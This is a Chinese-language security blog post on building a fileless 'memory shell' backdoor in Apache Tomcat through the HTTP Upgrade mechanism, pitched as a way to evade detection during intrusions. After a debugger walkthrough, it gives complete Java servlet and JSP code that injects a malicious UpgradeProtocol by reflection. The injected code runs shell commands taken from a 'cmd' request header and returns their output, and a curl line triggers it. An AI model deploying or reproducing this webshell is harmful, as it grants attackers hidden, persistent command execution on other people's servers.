Tomcat内存马之Upgrade构建调试分析

在现今攻防演练日趋常态化和网络安全检测设备检测技术越来越成熟的大环境下,传统的以文件形式驻留的后门文件极其容易检测查杀到,随之"内存马"技术开始登上历史的舞台。在JAVA安全知识体系中JAVA内存马也是必须要学习的一个关键板块,本篇文章主要介绍Tomcat-Upgrade型内存马

文章前言

在现今攻防演练日趋常态化和网络安全检测设备检测技术越来越成熟的大环境下,传统的以文件形式驻留的后门文件极其容易检测查杀到,随之"内存马"技术开始登上历史的舞台。在JAVA安全知识体系中JAVA内存马也是必须要学习的一个关键板块,本篇文章主要介绍Tomcat-Upgrade型内存马

基本介绍

在渗透过程中有些时候虽然我们植入了内存马,但是由于原有Filter的缘故,导致鉴权失败或者是无法访问,再亦或是由于反代的缘故导致很多时候无法找到对应路径,为了解决这个问题我们要在请求进入Filter之前打入内存马,从下面可以看到在Filter之前还有Execute、Process,在本篇文章中我们只对Process做研究分析

image.png

简易示例

首先我们新建一个TestUpgrade.java:

package com.al1ex.servlet;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;

@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {

    static class MyUpgrade implements UpgradeProtocol {

        public String getHttpUpgradeName(boolean b) {
            return null;
        }
        @Override
        public byte[] getAlpnIdentifier() {
            return new byte[0];
        }

        @Override
        public String getAlpnName() {
            return null;
        }

        @Override
        public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
            return null;
        }

        @Override
        public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
            return null;
        }

        public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) {
            return null;
        }

        @Override
        public boolean accept(org.apache.coyote.Request request) {
            try {
                Field response = org.apache.coyote.Request.class.getDeclaredField("response");
                response.setAccessible(true);
                Response resp = (Response) response.get(request);
                resp.doWrite(ByteBuffer.wrap("Hello, this my test Upgrade!".getBytes()));
            } catch (Exception ignored) {}
            return false;
        }
    }
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            RequestFacade rf = (RequestFacade) req;
            Field requestField = RequestFacade.class.getDeclaredField("request");
            requestField.setAccessible(true);
            Request request1 = (Request) requestField.get(rf);
            new MyUpgrade().accept(request1.getCoyoteRequest());
        } catch (Exception ignored) {}
    }
}

启动项目

image.png

执行效果如下所示:

image.png

调试分析

我们在StandardHostValve.java的这行打上下断点:

image.png

从上面可以看到调用到了process函数,具体调用位置位于org.apache.coyote.AbstractProcessorLight#process,我们跟过去看看:

image.png

在SocketWrapperBase状态是OPEN_READ的时候,此时才会调用对应的processor去处理(第二张图的process调用的位置可以通过第一张图左下角的那个process的后一个process点进去看到):

image.png

image.png

随后我们继续step into这里的service方法看看:

image.png

随后继续step over可以看到这里在检查header中的Connection头中是否为upgrade,跟进这的isConnectionToken

image.png

image.png

随后干两件事情——第一个是调用getUpgradeProtocol方法根据upgradedName从httpUpgradeProtocols拿到UpgradeProtocol,第二个是调用UpgradeProtocol对象的accept方法:

image.png

image.png

到了这里我们似乎可以建立起一个猜想,我们如果构造一个恶意的UpgradeProtocol,然后把它插入到httpUpgradeProtocols,由于httpUpgradeProtocols是一个hashmap,那么向里面添加的话用到的肯定是put方法,随后我们直接搜httpUpgradeProtocols.put,随后我们在这行打上断点,然后调试,结果发现还未访问对应的路径就已经到断点位置了,也就是说httpUpgradeProtocols.put这个事情是发生在tomcat启动的时候的

image.png

那这样一来思路就更加具体了,通过反射找到httpUpgradeProtocols并把恶意upgradeProtocol插入进去即可构成upgrade内存马,思路和之前一模一样,现在只需要解决最后一个问题——如何找到httpUpgradeProtocols的位置,我们打开之前用tomcat搭建的Tomcat Upgrade的demo,在如下位置打下断点

image.png

然后构造请求头发送请求并进入断点调试:

curl -H "Connection: Upgrade" -H "Upgrade: hello" http://localhost:8080/evil

image.png

step over一步即可在下方看到request1属性:

image.png

然后在request1里面的connector的protocolHandler里面发现了httpUpgradeProtocols:

image.png

载荷构造

通过上面上面的分析我们可以构造如下代码:

package com.al1ex.servlet;

import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.HashMap;

@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {

    static class MyUpgrade implements UpgradeProtocol {
        @Override
        public String getHttpUpgradeName(boolean b) {
            return null;
        }

        @Override
        public byte[] getAlpnIdentifier() {
            return new byte[0];
        }

        @Override
        public String getAlpnName() {
            return null;
        }

        @Override
        public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
            return null;
        }

        @Override
        public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
            return null;
        }

        @Override
        public boolean accept(org.apache.coyote.Request request) {
            String p = request.getHeader("cmd");
            try {
                String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
                Field response = org.apache.coyote.Request.class.getDeclaredField("response");
                response.setAccessible(true);
                Response resp = (Response) response.get(request);
                byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream(), "GBK").useDelimiter("\\A").next().getBytes();
                resp.setCharacterEncoding("GBK");
                resp.doWrite(ByteBuffer.wrap(result));
            } catch (Exception ignored) {}
            return false;
        }
    }
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        try {
            RequestFacade rf = (RequestFacade) req;
            Field requestField = RequestFacade.class.getDeclaredField("request");
            requestField.setAccessible(true);
            Request request1 = (Request) requestField.get(rf);

            Field connector = Request.class.getDeclaredField("connector");
            connector.setAccessible(true);
            Connector realConnector = (Connector) connector.get(request1);

            Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
            protocolHandlerField.setAccessible(true);
            AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);

            HashMap upgradeProtocols;
            Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
            upgradeProtocolsField.setAccessible(true);
            upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler);

            MyUpgrade myUpgrade = new MyUpgrade();
            upgradeProtocols.put("hello", myUpgrade);

            upgradeProtocolsField.set(handler, upgradeProtocols);
        } catch (Exception ignored) {}
    }
}

执行结果如下所示:

image.png

JSP版本:

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.nio.ByteBuffer" %>
<%
  class MyUpgrade implements UpgradeProtocol {
    public String getHttpUpgradeName(boolean isSSLEnabled) {
      return "hello";
    }

    public byte[] getAlpnIdentifier() {
      return new byte[0];
    }

    public String getAlpnName() {
      return null;
    }

    public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
      return null;
    }

    @Override
    public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, org.apache.coyote.Request request) {
      return null;
    }

    @Override
    public boolean accept(org.apache.coyote.Request request) {
      String p = request.getHeader("cmd");
      try {
        String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
        Field response = org.apache.coyote.Request.class.getDeclaredField("response");
        response.setAccessible(true);
        org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request);
        byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream(), "GBK").useDelimiter("\\A").next().getBytes();
        resp.setCharacterEncoding("GBK");
        resp.doWrite(ByteBuffer.wrap(result));
      } catch (Exception ignored){}
      return false;
    }
  }
%>
<%
  Field reqF = request.getClass().getDeclaredField("request");
  reqF.setAccessible(true);
  Request req = (Request) reqF.get(request);
  Field conn = Request.class.getDeclaredField("connector");
  conn.setAccessible(true);
  Connector connector = (Connector) conn.get(req);
  Field proHandler = Connector.class.getDeclaredField("protocolHandler");
  proHandler.setAccessible(true);
  AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
  HashMap upgradeProtocols = null;
  Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
  upgradeProtocolsField.setAccessible(true);
  upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler);
  upgradeProtocols.put("hello", new MyUpgrade());
  upgradeProtocolsField.set(handler, upgradeProtocols);
%>

测试效果:

image.png

image.png

文末小结

本篇文章主要介绍了Tomcat中的Upgrade以及如何去使用Upgrade来构造Upgrade内存马,同时给出了相关的实力,后期读者在构建调试时需要注意Tomcat的版本

参考连接

[https://github.com/W01fh4cker/LearnJavaMemshellFromZero]

  • 发表于 2025-03-06 09:00:02
  • 阅读 ( 1885 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
Al1ex
Al1ex

2 篇文章

站长统计